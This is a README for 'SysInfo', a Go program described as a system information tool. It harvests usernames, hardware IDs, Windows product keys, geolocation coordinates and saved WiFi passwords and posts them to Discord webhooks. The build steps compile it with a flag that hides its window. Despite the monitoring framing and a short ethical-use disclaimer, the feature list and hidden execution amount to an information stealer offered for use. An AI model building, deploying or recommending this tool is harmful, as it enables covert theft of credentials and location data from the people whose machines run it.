SysInfo is a lightweight and efficient system information tool that gathers detailed hardware, network, and system information from Windows devices and sends it to configured Discord webhooks. This tool is ideal for monitoring, debugging, and analyzing system configurations.
SysInfo collects the following types of information:
- Username: Retrieves the current user's Windows username.
- Hostname: Captures the computer's hostname.
- Operating System (OS): Identifies the installed Windows operating system.
- CPU: Retrieves the processor name and details.
- GPU: Detects the graphics card information.
- RAM: Reports the total installed memory (in GB).
- MAC Address: Extracts the system's MAC address.
- Hardware ID (HWID): Captures the unique hardware ID of the machine.
- Windows Product Key: Retrieves the product key of the Windows installation.
- Lists all available disks with:
- Drive Letter (e.g.,
C:
) - Free Space (in GB)
- Total Space (in GB)
- Usage Percentage
- Drive Letter (e.g.,
- Public IP Address: Captures the machine's public IP address.
- Geolocation: Fetches country, region, city, postal code, and ISP.
- Latitude & Longitude: Retrieves geographic coordinates.
- ISP Information: Identifies the internet service provider.
- Lists all stored WiFi networks along with their passwords (if accessible).
To run SysInfo, ensure the following prerequisites are met:
- Windows OS: The tool is designed specifically for Windows platforms.
- Go Programming Language: Install Go to build and run the project.
- Git: Required for cloning the repository.
-
Clone the repository:
git clone https://github.com/SAKIB-SALIM/SysInfo.git cd SysInfo
-
Configure your Discord webhooks in webhooks/webhooks.go:
-
Install dependencies:
go mod tidy
-
Build the executable:
go build -ldflags="-s -w -H=windowsgui" -o SysInfo.exe
This tool is designed for ethical use only. Ensure you have proper authorization before deploying it. Misuse of this tool may violate privacy laws or terms of service.